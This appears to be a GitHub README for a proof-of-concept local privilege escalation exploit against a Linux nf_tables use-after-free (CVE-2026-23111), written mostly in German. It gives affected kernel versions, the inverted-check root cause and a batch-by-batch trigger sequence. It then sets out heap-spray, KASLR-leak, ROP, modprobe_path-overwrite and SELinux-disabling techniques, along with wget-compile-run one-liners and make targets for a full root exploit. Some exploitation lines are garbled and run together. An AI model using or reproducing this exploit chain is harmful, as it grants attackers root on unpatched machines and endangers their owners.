
Linux-Kernel nf_tables Use-After-Free (CVE-2026-23111) — LPE-PoC
Linux Kernel nf_tables Use-After-Free (Lokale Privilegienerweiterung) poc von baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| Versionsbereich | Behoben in |
|---|---|
| 6.19-rc1 bis 6.19-rc8 | 6.19-rc9+ |
| 6.13 bis 6.18.9 | 6.18.10 |
| 6.7 bis 6.12.69 | 6.12.70 |
| 6.4.1 bis 6.5.x | EOL (kein stabiler Fix) |
| 6.3.10 bis 6.3.x | EOL |
| 6.0.x, 6.2.x | EOL |
| 6.1.36 bis 6.1.162 | 6.1.163 |
| 5.15.121 bis 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | Verschiedene LTS |
CVE-2026-23111 ist ein nf_tables Use-After-Free, verursacht durch eine umgekehrte Generation-Mask-Prüfung in nft_map_catchall_activate(). Während des Rollbacks einer fehlgeschlagenen Transaktion müssen Catchall-Verdict-Map-Elemente, die durch NFT_MSG_DELSET deaktiviert wurden, reaktiviert werden, sodass Referenzen wie NFT_GOTO-Chain-Referenzen wiederhergestellt werden. Der Catchall-Aktivierungspfad übersprang stattdessen inaktive Elemente und verarbeitete aktive, sodass deaktivierte Catchall-Elemente nicht wiederhergestellt wurden.
Die korrekte Nicht-Catchall-Aktivierungslogik ist:
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* skip active, process inactive */
Der anfällige Catchall-Pfad verwendete die entgegengesetzte Bedingung:
if (!nft_set_elem_active(ext, genmask))
continue; /* skip inactive, process active */
Wenn eine gelöschte Pipapo-Verdict-Map zurückgesetzt wird, verhindert dies, dass nft_setelem_data_activate() für das inaktive Catchall-Element ausgeführt wird. Für NFT_JUMP/NFT_GOTO-Verdict-Daten wird die von nft_data_hold() übernommene Chain-Referenz daher nicht wiederhergestellt. Wiederholen der Abbruch-/Umschalt-/Lösch-Sequenz kann chain->use auf Null bringen, während eine andere Regel noch eine gültige Verdict-Referenz auf die Chain enthält. Ein späteres DELCHAIN kann dann die Chain freigeben, während sie noch erreichbar ist, was zu einer UAF führt.
Create table, base chain, victim chain, and pipapo verdict map with catchall NFT_GOTO -> victim
|
Batch 1: delete the pipapo set, then force a transaction error
|
Abort path calls nft_map_catchall_activate(), but the inverted check skips the inactive catchall
|
The catchall remains inactive and the victim chain reference count is not restored
|
Batch 2: commit a benign transaction to toggle the generation cursor
|
Batch 3: delete the pipapo set successfully, decrementing the victim chain reference again
|
Batch 4: delete the victim chain while the base-chain verdict still references it
|
Use-after-free when packet evaluation or rule dumping follows the dangling verdict reference
Der Upstream-Fix besteht darin, die Negierung zu entfernen, sodass nft_map_catchall_activate() zu nft_mapelem_activate() passt: Aktive Elemente werden übersprungen, inaktive werden reaktiviert, und Verdict-/Objekt-Referenzen werden während der Abbruchbehandlung wiederhergestellt.
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
Use this if the full/v1 PoC fails on the target kernel.
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
Installieren Sie zuerst die Build-Abhängigkeiten, wenn der Compiler die Header libmnl/libmnl.h oder libnftnl nicht findet:
scripts/install-build-deps.sh
# or
make deps
make # Build exploit (PoC only)
make v2 # Build v2 exploit (FuzzingLabs approach — try when v1 fails)
make full # Build full LPE exploit
make v3 # Build v3 calibrated eval-path variant
make run-d # Run PoC with debug output
make run-v2-d # Run v2 with debug output
make run-v3 # Show v3 usage/help
make run-full # Run full LPE
Erstellt ein Pipapo-Map-Set mit einem Catchall-Element (goto Victim-Chain) und nutzt dann den umgekehrten Genmask-Fehler während eines DELSET-Abbruchs, um chain->use zu korrumpieren. Nach dem Erhöhen des Generierungszählers gelingt DELCHAIN trotz hängender Referenzen und gibt die Chain frei.
Nach der UAF wird der Speicher von chain->name freigegeben. Wir sprayen seq_operations-Strukturen (32 Bytes), indem wir /proc/self/stat öffnen, um den freigegebenen Slab-Cache-Slot zurückzuerobern. Das Zurücklesen der unmittelbaren Verdict-Regel der Basis-Chain über NFT_MSG_GETRULE gibt den zurückgewonnenen Chain-Namen aus und leakt Kernel-Funktionszeiger. Die Zeiger-Validierung stellt sicher, dass nur kanonische Kernel-Textadressen akzeptiert werden.
Löst die UAF erneut mit einem längeren Chain-Namen aus (140 Bytes → kmalloc-cg-192), sprayt dann nft_rule-Objekte, um den Speicher zurückzuerobern. Die geleakten list_head-Zeiger geben Heap-Adressen im Direct-Map-Bereich preis.
nft_expr_ops und nft_rule_blob gespraytblob_gen_0 der Chain zu überschreibencommit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcore gescanntexpr->ops->eval zu übernehmenDer v2-Exploit (exploit_v2.c) verwendet die im FuzzingLabs-Writeup beschriebenen Techniken und kann verwendet werden, wenn der v1-PoC fehlschlägt. Wichtige Unterschiede:
| Komponente | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|---|---|
| UAF-Trigger | Ein Set + sofortige goto-Regel | Zwei Sets (FuzzingLabs-Stil) + Lookup-Regel |
| KASLR-Rücklesen | NFT_MSG_GETRULE (Regel-Dump) | NFT_MSG_GETELEM (Element-Dump) + GETRULE-Fallback |
| Heap-Leak | nft_rule-Spray + list_head-Leak | init_ipc_ns-beliebiges-Lesen-Kette |
| ROP-Host | nft_regeln + Table-Userdata | msg_msg-2k (2048-Byte-Nachricht) |
| Hijack-Trigger | Paket-Evaluierung auf sofortiger goto | Paket-Evaluierung auf überlebendem Set-Catchall |
| Privilegienerweiterung | commit_creds + switch_task_namespaces | modprobe_path-Überschreiben + SELinux deaktivieren |
| Rückgabepfad | swapgs; iretq | msleep() (bleibt im Kernel) |
init_ipc_ns + 0x118 → msg_ids.xa_head → msg_queue (tagged pointer)
msg_queue + 0xc0 → q_messages.next → msg_msg heap address
Jeder Schritt verwendet die freigegebene Chain-Struktur als beliebiges-Lesen-Primitiv:
Table-Userdata (128 Bytes) erobert die freigegebene nft_chain in kmalloc-cg-128 zurück,
und eine Kernel-Adresse, die bei Offset 0x40 (wo chain->name lebt) platziert wird, wird
vom Kernel während der SET_B-Element-Dumps dereferenziert.